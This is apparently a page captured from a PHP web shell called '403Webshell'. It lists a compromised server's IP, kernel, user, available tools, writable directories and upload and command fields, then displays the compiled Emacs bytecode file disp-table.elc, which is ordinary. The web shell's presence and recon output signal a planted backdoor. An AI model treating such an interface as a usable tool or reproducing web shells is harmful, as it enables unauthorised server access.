403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.141
Web Server : Apache
System : Linux www 6.18.51-i1-ampere #1196 SMP Fri Sep 11 20:43:55 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/emacs/28.2/lisp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/emacs/28.2/lisp//disp-table.elc
;ELC
;;; Compiled
;;; in Emacs version 28.2
;;; with all optimizations.



(put 'display-table 'char-table-extra-slots 6)
#@36 Return a new, empty display table.
(defalias 'make-display-table #[0 "\300\301\302\"\207" [make-char-table display-table nil] 3 (#$ . 131)])
(byte-code "\204\301 \302\303\304\305#\210\302\306\304\307#\210\302\310\304\311#\210\302\312\304\313#\210\302\314\304\315#\210\302\316\304\317#\207" [standard-display-table make-display-table put truncation display-table-slot 0 wrap 1 escape 2 control 3 selective-display 4 vertical-border 5] 4)
#@264 Return the value of the extra slot in DISPLAY-TABLE named SLOT.
SLOT may be a number from 0 to 5 inclusive, or a slot name (symbol).
Valid symbols are `truncation', `wrap', `escape', `control',
`selective-display', and `vertical-border'.

(fn DISPLAY-TABLE SLOT)
(defalias 'display-table-slot #[514 "\211\247\203	\211\202\211\300N\206\301\302\"\303\"\207" [display-table-slot error "Invalid display-table slot name: %s" char-table-extra-slot] 6 (#$ . 579)])
#@271 Set the value of the extra slot in DISPLAY-TABLE named SLOT to VALUE.
SLOT may be a number from 0 to 5 inclusive, or a name (symbol).
Valid symbols are `truncation', `wrap', `escape', `control',
`selective-display', and `vertical-border'.

(fn DISPLAY-TABLE SLOT VALUE)
(defalias 'set-display-table-slot #[771 "\247\203	\202\300N\206\301\302\"\303#\207" [display-table-slot error "Invalid display-table slot name: %s" set-char-table-extra-slot] 8 (#$ . 1052)])
#@58 Describe the display table DT in a help buffer.

(fn DT)
(defalias 'describe-display-table #[257 "\305\211\223\210\306	B\307\nB\310 \311\312!\211\305\211\313\314!\210\315\316\317\"!\210\313\320!\210\315\316\321\"!\210\313\322!\210\315\316\323\"!\210\313\324!\210\315\316\325\"!\210\313\326!\210\315\316\327\"!\210\313\330!\210\315\316\331\"!\210\313\332!\210r\fq\210\333\334\305\"\335\211\334W\203{HI\210\211T\262\202f\336\337\"\266\340 )\262rq\210\341\305\"\262)\342\343!\203\236\343\"\202\237\211)\266\203*\207" [help-window-point-marker temp-buffer-window-setup-hook temp-buffer-window-show-hook help-window-old-frame standard-output nil help-mode-setup help-mode-finish selected-frame temp-buffer-window-setup "*Help*" princ "\nTruncation glyph: " prin1 display-table-slot truncation "\nWrap glyph: " wrap "\nEscape glyph: " escape "\nCtrl glyph: " control "\nSelective display glyph sequence: " selective-display "\nVertical window border glyph: " vertical-border "\nCharacter display glyph sequences:\n" make-vector 256 0 describe-vector display-table-print-array help-mode temp-buffer-window-show functionp help-window-setup] 10 (#$ . 1531)])
#@13 

(fn DESC)
(defalias 'display-table-print-array #[257 "\300c\210i\301 \302G\303\211W\203B\304\305H\"\262iG\\TY\203/\306c\210\307\310\"c\210\2028\211\303V\2038\311c\210c\210\211T\262\202\n\266\312c\207" ["[" window-width nil 0 format "%s" "\n" make-string 32 " " "]\n"] 10 (#$ . 2716)])
#@70 Describe the display table in use in the selected window and buffer.
(defalias 'describe-current-display-table #[0 "\302 \206\n\206\n	\211\203\303!\207\304\305!\207" [buffer-display-table standard-display-table window-display-table describe-display-table message "No display table"] 3 (#$ . 3026) nil])
#@448 Display characters representing raw bytes in the range L to H literally.

On a terminal display, each character in the range is displayed
by sending the corresponding byte directly to the terminal.

On a graphic display, each character in the range is displayed
using the default font by a glyph whose code is the corresponding
byte.

Note that ASCII printable characters (SPC to TILDA) are displayed
in the default way after this call.

(fn L H)
(defalias 'standard-display-8bit #[514 "\204\301 \211\302V\203\302\262X\205D\303W\2032\211\304W\204*\305U\205-\306!I\210\202=\307!\306!I\266T\262\202\207" [standard-display-table make-display-table 255 128 32 127 vector unibyte-char-to-multibyte] 7 (#$ . 3342)])
#@78 Display characters in the range L to H using the default notation.

(fn L H)
(defalias 'standard-display-default #[514 "\204\301 X\205%\302Y\203\303!\203\304I\210T\262\202\207" [standard-display-table make-display-table 32 characterp nil] 5 (#$ . 4086)])
#@57 Display character C using printable string S.

(fn C S)
(defalias 'standard-display-ascii #[514 "\204\301 \302!I\207" [standard-display-table make-display-table vconcat] 6 (#$ . 4366)])
#@182 Display character C as character SC in the g1 character set.
This function assumes that your terminal uses the SO/SI characters;
it is meaningless for a graphical frame.

(fn C SC)
(defalias 'standard-display-g1 #[514 "\301 \203	\302\303!\210\204\304 \305\306\307\310!\311Q!!I\207" [standard-display-table display-graphic-p error "Cannot use string glyphs in a windowing system" make-display-table vector create-glyph "" char-to-string ""] 9 (#$ . 4566)])
#@164 Display character C as character GC in graphics character set.
This function assumes VT100-compatible escapes; it is meaningless
for a graphical frame.

(fn C GC)
(defalias 'standard-display-graphic #[514 "\301 \203	\302\303!\210\204\304 \305\306\307\310!\311Q!!I\207" [standard-display-table display-graphic-p error "Cannot use string glyphs in a windowing system" make-display-table vector create-glyph "(0" char-to-string "(B"] 9 (#$ . 5040)])
#@66 Display character C as character UC plus underlining.

(fn C UC)
(defalias 'standard-display-underline #[514 "\204\302 \303	\203\304\305\"\202\306\307\310!\311Q!!I\207" [standard-display-table window-system make-display-table vector make-glyph-code underline create-glyph "" char-to-string ""] 9 (#$ . 5504)])
#@82 Allocate a glyph code to display by sending STRING to the terminal.

(fn STRING)
(defalias 'create-glyph #[257 "G\301U\203\302\303!\210G\304U\203\305\306\307\310\"\"\305C\"\211GS\207" [glyph-table 65536 error "No free glyph codes remain" 32 vconcat make-vector 224 nil] 7 (#$ . 5840)])
#@86 Return a glyph code representing char CHAR with face FACE.

(fn CHAR &optional FACE)
(defalias 'make-glyph-code #[513 "\211\204\207\300!\211\301W\203\302\303\304\"\"\207B\207" [face-id 64 logior ash 22] 8 (#$ . 6143)])
#@55 Return the character of glyph code GLYPH.

(fn GLYPH)
(defalias 'glyph-char #[257 "\211:\203\211@\207\300\301\"\207" [logand 4194303] 4 (#$ . 6378)])
#@84 Return the face of glyph code GLYPH, or nil if glyph has default face.

(fn GLYPH)
(defalias 'glyph-face #[257 "\211:\203\n\211A\202\300\301\"\211\302V\2057\30327\304 \211\2054\211@\305!=\203-\306\303\"\210A\266\202\202\2620\207" [ash -22 0 face face-list face-id throw] 7 (#$ . 6537)])
#@839 Semi-obsolete way to toggle display of ISO 8859 European characters.

This function is semi-obsolete; you probably don't need it, or else you
probably should use `set-language-environment' or `set-locale-environment'.

This function enables European character display if ARG is positive,
disables it if negative.  Otherwise, it toggles European character display.

When this mode is enabled, characters in the range of 160 to 255
display not as octal escapes, but as accented characters.  Codes 146
and 160 display as apostrophe and space, even though they are not the
ASCII codes for apostrophe and space.

Enabling European character display with this command noninteractively
from Lisp code also selects Latin-1 as the language environment.
This provides increased compatibility for users who call this function
in `.emacs'.

(fn ARG)
(defalias 'standard-display-european #[257 "\303!\304X\204 \211\2048\305!\2038\306\307!H\310\306\307!!\232\2038\311\306\312!\306\313!\"\210\314 ?\205i\315 \2057\316\317!\207\320\321\322\323!\324#\210	\325\232\203J\326\327!\210\n\204g\314 \204g\316\330	\227!\331!\203b\211\202c\332\262!\210\333 \207" [standard-display-table current-language-environment noninteractive prefix-numeric-value 0 char-table-p unibyte-char-to-multibyte 161 vector standard-display-default 160 255 display-graphic-p terminal-coding-system set-terminal-coding-system nil display-warning i18n format-message "`standard-display-european' is semi-obsolete; see its doc string for details" :warning "English" set-language-environment "latin-1" intern coding-system-p latin-1 standard-display-european-internal] 5 (#$ . 6846)])
(provide 'disp-table)

Youez - 2016 - github.com/yon3zu
LinuXploit